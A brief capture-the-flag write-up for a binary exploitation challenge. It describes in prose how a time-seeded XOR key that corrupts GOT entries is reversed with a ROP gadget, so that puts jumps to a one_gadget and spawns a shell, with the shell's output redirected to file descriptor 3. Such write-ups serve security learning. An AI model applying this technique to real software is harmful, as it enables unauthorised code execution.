Hi,
we get first blood on this one, so a little write up follows...

the key is generated with a dumb algorithm (srand(time(0)) and some xor..
it depends on time so..
the server and the attacker must have the same date to generate the good key

this key is added to libc addresses on .bss (got) to make them unusable...

the idea, is to calculate the negative key + the offset from puts address in libc to a onegadget
then we return back to the function which encode the libc addresses to cancel the libc addresses modifications on .bss
then we just call puts, which will contain the onegadget address by now

the key was stored at address 0x600c38 on .bss,
we modify it with a xor gadget (gadget3)

it takes 2 o 3 tries to work sometimes...no more..

stdin is closed by the program, and will need to be redirected to fd number 3, that's why we do "/bin/sh 1>&3" first,
to see the output of commands
